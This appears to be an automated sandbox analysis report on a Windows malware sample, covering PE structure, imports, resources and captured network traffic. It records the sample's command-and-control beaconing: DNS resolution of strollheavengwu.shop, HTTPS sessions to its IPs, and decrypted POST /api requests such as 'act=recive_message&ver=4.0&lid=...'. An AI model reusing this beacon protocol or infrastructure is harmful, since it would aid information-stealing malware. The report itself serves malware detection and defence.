mov eax, dword ptr [ebp+08h]
push esi
push edi
push 00000008h
pop ecx
mov esi, 0040C20Ch
lea edi, dword ptr [ebp-20h]
rep movsd
mov dword ptr [ebp-08h], eax
mov eax, dword ptr [ebp+0Ch]
pop edi
mov dword ptr [ebp-04h], eax
pop esi
test eax, eax
je 00007FE3F0E08E6Eh
test byte ptr [eax], 00000008h

Rich Headers

Programming Language:

[ASM] VS2008 build 21022
[ C ] VS2008 build 21022
[C++] VS2008 build 21022
[IMP] VS2005 build 50727
[RES] VS2008 build 21022
[LNK] VS2008 build 21022

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x4aebc	0x3c	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x282f000	0xdc88	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0xc000	0x190	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0xa59d	0xa600	9808774d2d8323059b963611921381fc	False	0.6182699548192772	data	6.5780027888601085	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0xc000	0x3f7d0	0x3f800	5388b4298efb9505a71243bc518be023	False	0.7016217089074803	data	6.53415578942608	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x4c000	0x27e22c8	0x2800	4a5f545f74df16f9652a9ecf98f7158c	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x282f000	0xdc88	0xde00	fe3965f63c914b3f6704ea3287517976	False	0.5008445945945946	data	5.2791432506398	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
DOTOGACORIKEXECON	0x283b568	0x476	ASCII text, with very long lines (1142), with no line terminators	Turkish	Turkey	0.6260945709281961
RT_ICON	0x282f5b0	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0	Turkish	Turkey	0.4312366737739872
RT_ICON	0x2830458	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	Turkish	Turkey	0.5744584837545126
RT_ICON	0x2830d00	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 0	Turkish	Turkey	0.6388248847926268
RT_ICON	0x28313c8	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	Turkish	Turkey	0.6820809248554913
RT_ICON	0x2831930	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	Turkish	Turkey	0.524792531120332
RT_ICON	0x2833ed8	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 0	Turkish	Turkey	0.5967213114754099
RT_ICON	0x2834860	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	Turkish	Turkey	0.6276595744680851
RT_ICON	0x2834d30	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	Turkish	Turkey	0.44429637526652455
RT_ICON	0x2835bd8	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors	Turkish	Turkey	0.5640794223826715
RT_ICON	0x2836480	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 576, 256 important colors	Turkish	Turkey	0.6065668202764977
RT_ICON	0x2836b48	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	Turkish	Turkey	0.6690751445086706
RT_ICON	0x28370b0	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	Turkish	Turkey	0.3886929460580913
RT_ICON	0x2839658	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	Turkish	Turkey	0.41862101313320826
RT_ICON	0x283a700	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2400	Turkish	Turkey	0.4430327868852459
RT_ICON	0x283b088	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	Turkish	Turkey	0.44148936170212766
RT_STRING	0x283bbe8	0x58c	data			0.44084507042253523
RT_STRING	0x283c178	0x86	data			0.6417910447761194
RT_STRING	0x283c200	0x65a	data			0.42927429274292744
RT_STRING	0x283c860	0x1ea	data			0.48775510204081635
RT_STRING	0x283ca50	0x108	data			0.5454545454545454
RT_STRING	0x283cb58	0x12a	data			0.5134228187919463
RT_ACCELERATOR	0x283b9e0	0x28	data			1.0
RT_GROUP_ICON	0x2834cc8	0x68	data	Turkish	Turkey	0.7115384615384616
RT_GROUP_ICON	0x283b4f0	0x76	data	Turkish	Turkey	0.6779661016949152
RT_VERSION	0x283ba08	0x1e0	data			0.5666666666666667

Imports

DLL

Import

KERNEL32.dll

GetLocaleInfoA, GetConsoleAliasExesLengthA, SetFirmwareEnvironmentVariableA, GetComputerNameW, UnlockFile, GetModuleHandleW, GetConsoleAliasesLengthA, GetDateFormatA, SetCommState, GlobalAlloc, LoadLibraryW, IsValidLocale, HeapDestroy, FindNextVolumeW, IsBadWritePtr, GlobalUnfix, EnumCalendarInfoA, GetProcessHeaps, LoadLibraryA, SetCalendarInfoW, SetConsoleDisplayMode, SetCurrentDirectoryW, WaitForMultipleObjects, GetModuleFileNameA, SetConsoleTitleW, FreeEnvironmentStringsW, BuildCommDCBA, VirtualProtect, GetCurrentDirectoryA, FindAtomW, SetFileAttributesW, GetVolumeInformationW, LocalFileTimeToFileTime, GetProcAddress, GetFileSize, GetCommandLineA, GetStartupInfoA, RaiseException, RtlUnwind, TerminateProcess, GetCurrentProcess, UnhandledExceptionFilter, SetUnhandledExceptionFilter, IsDebuggerPresent, HeapAlloc, GetLastError, HeapFree, EnterCriticalSection, LeaveCriticalSection, Sleep, ExitProcess, WriteFile, GetStdHandle, FreeEnvironmentStringsA, GetEnvironmentStrings, WideCharToMultiByte, GetEnvironmentStringsW, SetHandleCount, GetFileType, DeleteCriticalSection, TlsGetValue, TlsAlloc, TlsSetValue, TlsFree, InterlockedIncrement, SetLastError, GetCurrentThreadId, InterlockedDecrement, HeapCreate, VirtualFree, QueryPerformanceCounter, GetTickCount, GetCurrentProcessId, GetSystemTimeAsFileTime, SetFilePointer, GetConsoleCP, GetConsoleMode, GetCPInfo, GetACP, GetOEMCP, IsValidCodePage, VirtualAlloc, HeapReAlloc, HeapSize, InitializeCriticalSectionAndSpinCount, SetStdHandle, WriteConsoleA, GetConsoleOutputCP, WriteConsoleW, MultiByteToWideChar, LCMapStringA, LCMapStringW, GetStringTypeA, GetStringTypeW, FlushFileBuffers, CreateFileA, CloseHandle

ADVAPI32.dll

ReadEventLogA

Possible Origin

Language of compilation system	Country where language is spoken	Map
Turkish	Turkey

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 22, 2024 22:27:02.134573936 CEST	49730	443	192.168.2.4	104.21.15.198
Apr 22, 2024 22:27:02.134656906 CEST	443	49730	104.21.15.198	192.168.2.4
Apr 22, 2024 22:27:02.134766102 CEST	49730	443	192.168.2.4	104.21.15.198
Apr 22, 2024 22:27:02.138631105 CEST	49730	443	192.168.2.4	104.21.15.198
Apr 22, 2024 22:27:02.138667107 CEST	443	49730	104.21.15.198	192.168.2.4
Apr 22, 2024 22:27:02.361022949 CEST	443	49730	104.21.15.198	192.168.2.4
Apr 22, 2024 22:27:02.361278057 CEST	49730	443	192.168.2.4	104.21.15.198
Apr 22, 2024 22:27:02.365935087 CEST	49730	443	192.168.2.4	104.21.15.198
Apr 22, 2024 22:27:02.365959883 CEST	443	49730	104.21.15.198	192.168.2.4
Apr 22, 2024 22:27:02.366193056 CEST	443	49730	104.21.15.198	192.168.2.4
Apr 22, 2024 22:27:02.412023067 CEST	49730	443	192.168.2.4	104.21.15.198
Apr 22, 2024 22:27:02.443958998 CEST	49730	443	192.168.2.4	104.21.15.198
Apr 22, 2024 22:27:02.444014072 CEST	49730	443	192.168.2.4	104.21.15.198
Apr 22, 2024 22:27:02.444113970 CEST	443	49730	104.21.15.198	192.168.2.4
Apr 22, 2024 22:27:02.882814884 CEST	443	49730	104.21.15.198	192.168.2.4
Apr 22, 2024 22:27:02.882910013 CEST	443	49730	104.21.15.198	192.168.2.4
Apr 22, 2024 22:27:02.883094072 CEST	49730	443	192.168.2.4	104.21.15.198
Apr 22, 2024 22:27:02.901290894 CEST	49730	443	192.168.2.4	104.21.15.198
Apr 22, 2024 22:27:02.901324987 CEST	443	49730	104.21.15.198	192.168.2.4
Apr 22, 2024 22:27:02.905783892 CEST	49731	443	192.168.2.4	104.21.15.198
Apr 22, 2024 22:27:02.905884981 CEST	443	49731	104.21.15.198	192.168.2.4
Apr 22, 2024 22:27:02.905988932 CEST	49731	443	192.168.2.4	104.21.15.198
Apr 22, 2024 22:27:02.907284021 CEST	49731	443	192.168.2.4	104.21.15.198
Apr 22, 2024 22:27:02.907321930 CEST	443	49731	104.21.15.198	192.168.2.4
Apr 22, 2024 22:27:03.127580881 CEST	443	49731	104.21.15.198	192.168.2.4
Apr 22, 2024 22:27:03.127819061 CEST	49731	443	192.168.2.4	104.21.15.198
Apr 22, 2024 22:27:03.129501104 CEST	49731	443	192.168.2.4	104.21.15.198
Apr 22, 2024 22:27:03.129513025 CEST	443	49731	104.21.15.198	192.168.2.4
Apr 22, 2024 22:27:03.129765987 CEST	443	49731	104.21.15.198	192.168.2.4
Apr 22, 2024 22:27:03.131520033 CEST	49731	443	192.168.2.4	104.21.15.198
Apr 22, 2024 22:27:03.131561995 CEST	49731	443	192.168.2.4	104.21.15.198
Apr 22, 2024 22:27:03.131587982 CEST	443	49731	104.21.15.198	192.168.2.4
Apr 22, 2024 22:27:03.656584024 CEST	443	49731	104.21.15.198	192.168.2.4
Apr 22, 2024 22:27:03.656721115 CEST	443	49731	104.21.15.198	192.168.2.4
Apr 22, 2024 22:27:03.656814098 CEST	443	49731	104.21.15.198	192.168.2.4
Apr 22, 2024 22:27:03.656902075 CEST	443	49731	104.21.15.198	192.168.2.4
Apr 22, 2024 22:27:03.656909943 CEST	49731	443	192.168.2.4	104.21.15.198
Apr 22, 2024 22:27:03.656979084 CEST	443	49731	104.21.15.198	192.168.2.4
Apr 22, 2024 22:27:03.657023907 CEST	49731	443	192.168.2.4	104.21.15.198
Apr 22, 2024 22:27:03.657077074 CEST	443	49731	104.21.15.198	192.168.2.4
Apr 22, 2024 22:27:03.657128096 CEST	49731	443	192.168.2.4	104.21.15.198
Apr 22, 2024 22:27:03.657145023 CEST	443	49731	104.21.15.198	192.168.2.4
Apr 22, 2024 22:27:03.657242060 CEST	443	49731	104.21.15.198	192.168.2.4
Apr 22, 2024 22:27:03.657299042 CEST	49731	443	192.168.2.4	104.21.15.198
Apr 22, 2024 22:27:03.657313108 CEST	443	49731	104.21.15.198	192.168.2.4
Apr 22, 2024 22:27:03.657424927 CEST	443	49731	104.21.15.198	192.168.2.4
Apr 22, 2024 22:27:03.657483101 CEST	49731	443	192.168.2.4	104.21.15.198
Apr 22, 2024 22:27:03.657495975 CEST	443	49731	104.21.15.198	192.168.2.4
Apr 22, 2024 22:27:03.657593012 CEST	443	49731	104.21.15.198	192.168.2.4
Apr 22, 2024 22:27:03.657659054 CEST	49731	443	192.168.2.4	104.21.15.198
Apr 22, 2024 22:27:03.657671928 CEST	443	49731	104.21.15.198	192.168.2.4
Apr 22, 2024 22:27:03.657826900 CEST	443	49731	104.21.15.198	192.168.2.4
Apr 22, 2024 22:27:03.657891035 CEST	49731	443	192.168.2.4	104.21.15.198
Apr 22, 2024 22:27:03.658307076 CEST	49731	443	192.168.2.4	104.21.15.198
Apr 22, 2024 22:27:03.658337116 CEST	443	49731	104.21.15.198	192.168.2.4
Apr 22, 2024 22:27:03.658365965 CEST	49731	443	192.168.2.4	104.21.15.198
Apr 22, 2024 22:27:03.658379078 CEST	443	49731	104.21.15.198	192.168.2.4
Apr 22, 2024 22:27:03.851205111 CEST	49732	443	192.168.2.4	104.21.15.198
Apr 22, 2024 22:27:03.851273060 CEST	443	49732	104.21.15.198	192.168.2.4
Apr 22, 2024 22:27:03.851367950 CEST	49732	443	192.168.2.4	104.21.15.198
Apr 22, 2024 22:27:03.851757050 CEST	49732	443	192.168.2.4	104.21.15.198
Apr 22, 2024 22:27:03.851790905 CEST	443	49732	104.21.15.198	192.168.2.4
Apr 22, 2024 22:27:04.076394081 CEST	443	49732	104.21.15.198	192.168.2.4
Apr 22, 2024 22:27:04.076535940 CEST	49732	443	192.168.2.4	104.21.15.198
Apr 22, 2024 22:27:04.078392029 CEST	49732	443	192.168.2.4	104.21.15.198
Apr 22, 2024 22:27:04.078419924 CEST	443	49732	104.21.15.198	192.168.2.4
Apr 22, 2024 22:27:04.078778982 CEST	443	49732	104.21.15.198	192.168.2.4
Apr 22, 2024 22:27:04.080391884 CEST	49732	443	192.168.2.4	104.21.15.198
Apr 22, 2024 22:27:04.080601931 CEST	49732	443	192.168.2.4	104.21.15.198
Apr 22, 2024 22:27:04.080647945 CEST	443	49732	104.21.15.198	192.168.2.4
Apr 22, 2024 22:27:04.080719948 CEST	49732	443	192.168.2.4	104.21.15.198
Apr 22, 2024 22:27:04.080739975 CEST	443	49732	104.21.15.198	192.168.2.4
Apr 22, 2024 22:27:04.596702099 CEST	443	49732	104.21.15.198	192.168.2.4
Apr 22, 2024 22:27:04.597013950 CEST	443	49732	104.21.15.198	192.168.2.4
Apr 22, 2024 22:27:04.597111940 CEST	49732	443	192.168.2.4	104.21.15.198
Apr 22, 2024 22:27:04.597186089 CEST	49732	443	192.168.2.4	104.21.15.198
Apr 22, 2024 22:27:04.597223997 CEST	443	49732	104.21.15.198	192.168.2.4
Apr 22, 2024 22:27:04.716886044 CEST	49733	443	192.168.2.4	104.21.15.198
Apr 22, 2024 22:27:04.716927052 CEST	443	49733	104.21.15.198	192.168.2.4
Apr 22, 2024 22:27:04.717046976 CEST	49733	443	192.168.2.4	104.21.15.198
Apr 22, 2024 22:27:04.717510939 CEST	49733	443	192.168.2.4	104.21.15.198
Apr 22, 2024 22:27:04.717529058 CEST	443	49733	104.21.15.198	192.168.2.4
Apr 22, 2024 22:27:04.936182022 CEST	443	49733	104.21.15.198	192.168.2.4
Apr 22, 2024 22:27:04.936515093 CEST	49733	443	192.168.2.4	104.21.15.198
Apr 22, 2024 22:27:04.938153982 CEST	49733	443	192.168.2.4	104.21.15.198
Apr 22, 2024 22:27:04.938180923 CEST	443	49733	104.21.15.198	192.168.2.4
Apr 22, 2024 22:27:04.938543081 CEST	443	49733	104.21.15.198	192.168.2.4
Apr 22, 2024 22:27:04.940443039 CEST	49733	443	192.168.2.4	104.21.15.198
Apr 22, 2024 22:27:04.940675020 CEST	49733	443	192.168.2.4	104.21.15.198
Apr 22, 2024 22:27:04.940717936 CEST	443	49733	104.21.15.198	192.168.2.4
Apr 22, 2024 22:27:05.426084042 CEST	443	49733	104.21.15.198	192.168.2.4
Apr 22, 2024 22:27:05.426213980 CEST	443	49733	104.21.15.198	192.168.2.4
Apr 22, 2024 22:27:05.426301003 CEST	49733	443	192.168.2.4	104.21.15.198
Apr 22, 2024 22:27:05.426528931 CEST	49733	443	192.168.2.4	104.21.15.198
Apr 22, 2024 22:27:05.426570892 CEST	443	49733	104.21.15.198	192.168.2.4
Apr 22, 2024 22:27:05.623624086 CEST	49734	443	192.168.2.4	104.21.15.198
Apr 22, 2024 22:27:05.623673916 CEST	443	49734	104.21.15.198	192.168.2.4
Apr 22, 2024 22:27:05.623871088 CEST	49734	443	192.168.2.4	104.21.15.198
Apr 22, 2024 22:27:05.624222040 CEST	49734	443	192.168.2.4	104.21.15.198
Apr 22, 2024 22:27:05.624239922 CEST	443	49734	104.21.15.198	192.168.2.4
Apr 22, 2024 22:27:05.843120098 CEST	443	49734	104.21.15.198	192.168.2.4
Apr 22, 2024 22:27:05.843206882 CEST	49734	443	192.168.2.4	104.21.15.198
Apr 22, 2024 22:27:05.845288038 CEST	49734	443	192.168.2.4	104.21.15.198
Apr 22, 2024 22:27:05.845303059 CEST	443	49734	104.21.15.198	192.168.2.4
Apr 22, 2024 22:27:05.845658064 CEST	443	49734	104.21.15.198	192.168.2.4
Apr 22, 2024 22:27:05.847610950 CEST	49734	443	192.168.2.4	104.21.15.198
Apr 22, 2024 22:27:05.847759962 CEST	49734	443	192.168.2.4	104.21.15.198
Apr 22, 2024 22:27:05.847798109 CEST	443	49734	104.21.15.198	192.168.2.4
Apr 22, 2024 22:27:05.847877979 CEST	49734	443	192.168.2.4	104.21.15.198
Apr 22, 2024 22:27:05.847889900 CEST	443	49734	104.21.15.198	192.168.2.4
Apr 22, 2024 22:27:06.413459063 CEST	443	49734	104.21.15.198	192.168.2.4
Apr 22, 2024 22:27:06.413713932 CEST	443	49734	104.21.15.198	192.168.2.4
Apr 22, 2024 22:27:06.413746119 CEST	49734	443	192.168.2.4	104.21.15.198
Apr 22, 2024 22:27:06.413770914 CEST	49734	443	192.168.2.4	104.21.15.198
Apr 22, 2024 22:27:06.514574051 CEST	49735	443	192.168.2.4	104.21.15.198
Apr 22, 2024 22:27:06.514628887 CEST	443	49735	104.21.15.198	192.168.2.4
Apr 22, 2024 22:27:06.514722109 CEST	49735	443	192.168.2.4	104.21.15.198
Apr 22, 2024 22:27:06.515342951 CEST	49735	443	192.168.2.4	104.21.15.198
Apr 22, 2024 22:27:06.515373945 CEST	443	49735	104.21.15.198	192.168.2.4
Apr 22, 2024 22:27:06.745040894 CEST	443	49735	104.21.15.198	192.168.2.4
Apr 22, 2024 22:27:06.745150089 CEST	49735	443	192.168.2.4	104.21.15.198
Apr 22, 2024 22:27:06.747004986 CEST	49735	443	192.168.2.4	104.21.15.198
Apr 22, 2024 22:27:06.747020960 CEST	443	49735	104.21.15.198	192.168.2.4
Apr 22, 2024 22:27:06.747534990 CEST	443	49735	104.21.15.198	192.168.2.4
Apr 22, 2024 22:27:06.748781919 CEST	49735	443	192.168.2.4	104.21.15.198
Apr 22, 2024 22:27:06.748934984 CEST	49735	443	192.168.2.4	104.21.15.198
Apr 22, 2024 22:27:06.748980045 CEST	443	49735	104.21.15.198	192.168.2.4
Apr 22, 2024 22:27:07.243700027 CEST	443	49735	104.21.15.198	192.168.2.4
Apr 22, 2024 22:27:07.243993998 CEST	443	49735	104.21.15.198	192.168.2.4
Apr 22, 2024 22:27:07.244158983 CEST	49735	443	192.168.2.4	104.21.15.198
Apr 22, 2024 22:27:07.244158983 CEST	49735	443	192.168.2.4	104.21.15.198
Apr 22, 2024 22:27:07.312525034 CEST	49736	443	192.168.2.4	104.21.15.198
Apr 22, 2024 22:27:07.312616110 CEST	443	49736	104.21.15.198	192.168.2.4
Apr 22, 2024 22:27:07.312722921 CEST	49736	443	192.168.2.4	104.21.15.198
Apr 22, 2024 22:27:07.313110113 CEST	49736	443	192.168.2.4	104.21.15.198
Apr 22, 2024 22:27:07.313144922 CEST	443	49736	104.21.15.198	192.168.2.4
Apr 22, 2024 22:27:07.533879042 CEST	443	49736	104.21.15.198	192.168.2.4
Apr 22, 2024 22:27:07.533982038 CEST	49736	443	192.168.2.4	104.21.15.198
Apr 22, 2024 22:27:07.536201954 CEST	49736	443	192.168.2.4	104.21.15.198
Apr 22, 2024 22:27:07.536226988 CEST	443	49736	104.21.15.198	192.168.2.4
Apr 22, 2024 22:27:07.536566019 CEST	443	49736	104.21.15.198	192.168.2.4
Apr 22, 2024 22:27:07.538310051 CEST	49736	443	192.168.2.4	104.21.15.198
Apr 22, 2024 22:27:07.538458109 CEST	49736	443	192.168.2.4	104.21.15.198
Apr 22, 2024 22:27:07.538470984 CEST	443	49736	104.21.15.198	192.168.2.4
Apr 22, 2024 22:27:08.023574114 CEST	443	49736	104.21.15.198	192.168.2.4
Apr 22, 2024 22:27:08.023711920 CEST	443	49736	104.21.15.198	192.168.2.4
Apr 22, 2024 22:27:08.024136066 CEST	49736	443	192.168.2.4	104.21.15.198
Apr 22, 2024 22:27:08.024537086 CEST	49736	443	192.168.2.4	104.21.15.198
Apr 22, 2024 22:27:08.024600029 CEST	443	49736	104.21.15.198	192.168.2.4
Apr 22, 2024 22:27:08.854778051 CEST	49737	443	192.168.2.4	104.21.15.198
Apr 22, 2024 22:27:08.854871035 CEST	443	49737	104.21.15.198	192.168.2.4
Apr 22, 2024 22:27:08.854979992 CEST	49737	443	192.168.2.4	104.21.15.198
Apr 22, 2024 22:27:08.855647087 CEST	49737	443	192.168.2.4	104.21.15.198
Apr 22, 2024 22:27:08.855684042 CEST	443	49737	104.21.15.198	192.168.2.4
Apr 22, 2024 22:27:09.081135035 CEST	443	49737	104.21.15.198	192.168.2.4
Apr 22, 2024 22:27:09.081402063 CEST	49737	443	192.168.2.4	104.21.15.198
Apr 22, 2024 22:27:09.089351892 CEST	49737	443	192.168.2.4	104.21.15.198
Apr 22, 2024 22:27:09.089380980 CEST	443	49737	104.21.15.198	192.168.2.4
Apr 22, 2024 22:27:09.089792013 CEST	443	49737	104.21.15.198	192.168.2.4
Apr 22, 2024 22:27:09.091382980 CEST	49737	443	192.168.2.4	104.21.15.198
Apr 22, 2024 22:27:09.092289925 CEST	49737	443	192.168.2.4	104.21.15.198
Apr 22, 2024 22:27:09.092339993 CEST	443	49737	104.21.15.198	192.168.2.4
Apr 22, 2024 22:27:09.092482090 CEST	49737	443	192.168.2.4	104.21.15.198
Apr 22, 2024 22:27:09.092535019 CEST	443	49737	104.21.15.198	192.168.2.4
Apr 22, 2024 22:27:09.092680931 CEST	49737	443	192.168.2.4	104.21.15.198
Apr 22, 2024 22:27:09.092753887 CEST	443	49737	104.21.15.198	192.168.2.4
Apr 22, 2024 22:27:09.092912912 CEST	49737	443	192.168.2.4	104.21.15.198
Apr 22, 2024 22:27:09.092959881 CEST	443	49737	104.21.15.198	192.168.2.4
Apr 22, 2024 22:27:09.093144894 CEST	49737	443	192.168.2.4	104.21.15.198
Apr 22, 2024 22:27:09.093210936 CEST	443	49737	104.21.15.198	192.168.2.4
Apr 22, 2024 22:27:09.093411922 CEST	49737	443	192.168.2.4	104.21.15.198
Apr 22, 2024 22:27:09.093485117 CEST	49737	443	192.168.2.4	104.21.15.198
Apr 22, 2024 22:27:09.093501091 CEST	443	49737	104.21.15.198	192.168.2.4
Apr 22, 2024 22:27:09.093518972 CEST	443	49737	104.21.15.198	192.168.2.4
Apr 22, 2024 22:27:09.093698025 CEST	49737	443	192.168.2.4	104.21.15.198
Apr 22, 2024 22:27:09.093753099 CEST	443	49737	104.21.15.198	192.168.2.4
Apr 22, 2024 22:27:09.093801022 CEST	49737	443	192.168.2.4	104.21.15.198
Apr 22, 2024 22:27:09.093895912 CEST	49737	443	192.168.2.4	104.21.15.198
Apr 22, 2024 22:27:09.093952894 CEST	49737	443	192.168.2.4	104.21.15.198
Apr 22, 2024 22:27:09.140115976 CEST	443	49737	104.21.15.198	192.168.2.4
Apr 22, 2024 22:27:09.140357018 CEST	49737	443	192.168.2.4	104.21.15.198
Apr 22, 2024 22:27:09.140431881 CEST	49737	443	192.168.2.4	104.21.15.198
Apr 22, 2024 22:27:09.140492916 CEST	49737	443	192.168.2.4	104.21.15.198
Apr 22, 2024 22:27:09.188111067 CEST	443	49737	104.21.15.198	192.168.2.4
Apr 22, 2024 22:27:09.188352108 CEST	49737	443	192.168.2.4	104.21.15.198
Apr 22, 2024 22:27:09.236157894 CEST	443	49737	104.21.15.198	192.168.2.4
Apr 22, 2024 22:27:09.407447100 CEST	443	49737	104.21.15.198	192.168.2.4
Apr 22, 2024 22:27:10.592921019 CEST	443	49737	104.21.15.198	192.168.2.4
Apr 22, 2024 22:27:10.593055010 CEST	443	49737	104.21.15.198	192.168.2.4
Apr 22, 2024 22:27:10.593374014 CEST	49737	443	192.168.2.4	104.21.15.198
Apr 22, 2024 22:27:10.593532085 CEST	49737	443	192.168.2.4	104.21.15.198
Apr 22, 2024 22:27:10.593554974 CEST	443	49737	104.21.15.198	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 22, 2024 22:27:01.989098072 CEST	56059	53	192.168.2.4	1.1.1.1
Apr 22, 2024 22:27:02.127250910 CEST	53	56059	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Apr 22, 2024 22:27:01.989098072 CEST	192.168.2.4	1.1.1.1	0x2bef	Standard query (0)	strollheavengwu.shop	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Apr 22, 2024 22:27:02.127250910 CEST	1.1.1.1	192.168.2.4	0x2bef	No error (0)	strollheavengwu.shop		104.21.15.198	A (IP address)	IN (0x0001)	false
Apr 22, 2024 22:27:02.127250910 CEST	1.1.1.1	192.168.2.4	0x2bef	No error (0)	strollheavengwu.shop		172.67.163.209	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

strollheavengwu.shop

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	104.21.15.198	443	7352	C:\Users\user\Desktop\iPUk65i3yI.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-22 20:27:02 UTC	267	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: strollheavengwu.shop
2024-04-22 20:27:02 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-04-22 20:27:02 UTC	808	IN	HTTP/1.1 200 OK Date: Mon, 22 Apr 2024 20:27:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=0nqqe6e3mnt3evash61r5d9aht; expires=Fri, 16-Aug-2024 14:13:41 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=LBIj37KDsbn6Y8oM3utfQcvAmQhFeta0zgMPszYSdcqQDudp7SbM9JK4Cjx2H6tE0YWlrYnlM0DkeTC33BPHlkHfVNRPXF%2BcoV%2Bxyija6spP35Bt7w%2BIdNX5hl3TdtCa8Ko6KQCb2Q%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87885a2ceec28bbb-ATL alt-svc: h3=":443"; ma=86400
2024-04-22 20:27:02 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-04-22 20:27:02 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49731	104.21.15.198	443	7352	C:\Users\user\Desktop\iPUk65i3yI.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-22 20:27:03 UTC	268	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 58 Host: strollheavengwu.shop
2024-04-22 20:27:03 UTC	58	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 50 36 4d 6b 30 4d 2d 2d 73 75 70 65 72 73 74 61 72 26 6a 3d 64 65 66 61 75 6c 74 Data Ascii: act=recive_message&ver=4.0&lid=P6Mk0M--superstar&j=default
